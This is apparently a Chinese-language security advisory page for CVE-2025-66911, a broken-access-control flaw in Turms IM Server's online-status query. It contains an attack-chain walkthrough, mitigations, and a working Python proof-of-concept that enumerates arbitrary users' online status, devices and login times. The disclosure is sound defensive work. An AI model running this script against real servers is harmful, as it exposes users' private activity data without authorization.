IPBUF安全漏洞报告
English
CVE-2025-66911 CVSS 6.5 中危

CVE-2025-66911 Turms IM Server 访问控制失效漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-66911
漏洞类型
访问控制失效
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Turms IM Server

相关标签

访问控制失效权限绕过信息泄露Turms IM ServerCVE-2025-66911认证绕过

漏洞概述

Turms IM Server v0.10.0-SNAPSHOT及更早版本中存在严重的访问控制失效漏洞。该漏洞位于用户在线状态查询功能中,handleQueryUserOnlineStatusesRequest()方法允许任何经过认证的低权限用户查询任意其他用户的在线状态、设备信息和登录时间戳,而无需进行适当的授权验证。由于系统未对请求者与目标用户的权限关系进行校验,攻击者可以利用此漏洞枚举系统用户信息,获取敏感的用户活动数据,包括用户的登录时间、设备类型、IP地址等隐私信息。该漏洞的CVSS评分为6.5,属于中等严重程度,主要影响系统的机密性。攻击者无需特殊权限或用户交互即可利用此漏洞发起攻击。

技术细节

漏洞根源在于UserServiceController.java中的handleQueryUserOnlineStatusesRequest()方法实现存在缺陷。该方法在处理用户在线状态查询请求时,仅验证了请求者是否为系统认证用户,但未对请求者是否有权查询目标用户信息进行权限检查。具体问题包括:(1) 方法直接接受目标用户ID参数,未验证请求者与目标用户的从属关系;(2) 缺少访问控制列表(ACL)检查逻辑,任何认证用户都可传入任意userId参数;(3) 查询结果返回完整的在线状态、设备信息和登录时间戳,无数据脱敏处理。攻击者只需构造特定的API请求,将目标用户ID作为参数传入,即可在无需目标用户授权的情况下获取其敏感信息。此类信息泄露可能为后续攻击提供情报支持,如社会工程学攻击或针对性入侵。

攻击链分析

STEP 1
步骤1
攻击者注册并获取Turms IM Server的有效认证凭证(低权限账户即可)
STEP 2
步骤2
攻击者构造恶意API请求,向/user/queryOnlineStatuses端点发送POST请求
STEP 3
步骤3
在请求payload中指定目标用户的userId列表,可指定任意用户ID
STEP 4
步骤4
服务器端handleQueryUserOnlineStatusesRequest()方法接收请求,仅验证攻击者的认证状态
STEP 5
步骤5
由于缺少权限校验逻辑,服务器返回目标用户的在线状态、设备信息和登录时间戳
STEP 6
步骤6
攻击者收集并整理泄露的用户隐私信息,用于后续社会工程学攻击或针对性入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66911 PoC - Turms IM Server Unauthorized User Status Query # Target: Turms IM Server < v0.10.0-SNAPSHOT TARGET_HOST = "http://target-server:9510" ATTACKER_TOKEN = "attacker_auth_token_here" def query_user_online_status(target_user_id): """ Query arbitrary user's online status without authorization """ endpoint = f"{TARGET_HOST}/user/queryOnlineStatuses" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "userIds": [target_user_id], "deviceTypes": True, "loginTimestamps": True } try: response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Successfully queried user {target_user_id}") print(f"[+] Response: {json.dumps(data, indent=2)}") return data else: print(f"[-] Failed: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None def enumerate_users(start_id=1, count=10): """ Enumerate multiple users' online status """ print(f"[*] Enumerating {count} users starting from ID {start_id}") for user_id in range(start_id, start_id + count): query_user_online_status(user_id) if __name__ == "__main__": # Query specific user target_user = 12345 query_user_online_status(target_user) # Or enumerate multiple users enumerate_users(1, 100)

影响范围

Turms IM Server v0.10.0-SNAPSHOT及更早版本

防御指南

临时缓解措施
在官方修复版本发布前,可通过以下措施临时缓解:(1) 限制用户在线状态查询API的访问频率和并发数;(2) 在应用层防火墙中对该API端点实施访问控制策略;(3) 监控异常的用户查询行为日志;(4) 对返回的敏感信息进行脱敏处理,仅显示必要信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表